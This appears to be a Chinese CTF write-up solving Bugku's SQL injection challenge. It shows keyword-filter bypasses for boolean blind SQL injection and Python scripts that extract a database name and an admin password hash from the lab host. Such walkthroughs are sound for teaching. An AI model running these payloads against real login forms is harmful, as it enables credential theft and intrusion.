Bugku sql注入

进入环境是个登录页面

提示这题布尔盲注,先fuzz一波

 过滤了length,like,information,and,union,select,order,where等等

用括号绕过空格,我们发现能用的字符有<>,or,'

先万能密码试试看,<>是不等于的意思

'or(1<>2)#

 'or(1<>1)#

 可以确定这里有布尔盲注

那么开始注入 参考博客

'or(length(database())>7)# 回显password error!
'or(length(database())>8)# 回显username does not exist!

说明数据库长度为7

后面爆数据库

利用reverse和from

a'or(ascii(substr(reverse(substr((database())from(1)))from(8)))<>98)#

最后利用脚本爆出数据库

import requests

url='http://114.67.175.224:19015/index.php'

database=''

for i in range(1,9):
    for p in range(45,126):
            m=9-i
            sql="a'or(ord(substr(reverse(substr((database())from(%d)))from(%d)))<>%s)#"%(i,m,p)
            data={
                'username':sql,
                'password':'1'
                }
            res=requests.post(url=url,data=data)
            if "username does not exist!" in res.text:
                database+=chr(p)
                print (database)
                break
print ("==========================")
print("\n"+database)

 得到数据库后面因为fuzz后发现过滤了太多字符,所以这里根据参考博客是用字典跑出数据表和字段,这里先跳过

得到数据表admin和字段名password后

爆破密码

password=''

for i in range(1,33):
    for p in range(45,126):
            m=33-i
            sql="a'or(ord(substr(reverse(substr((select(group_concat(password))from(blindsql.admin))from(%d)))from(%d)))<>%s)#"%(i,m,p)
            data={
                'username':sql,
                'password':'1'
                }
            res=requests.post(url=url,data=data)
            if "username does not exist!" in res.text:
                password+=chr(p)
                print (password)
                break
print ("==========================")
print("\n"+password)

 解md5  4dcc88f8f1bc05e7c2ad1a60288481a2

 得到密码bugctf

去登录 账号是admin

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值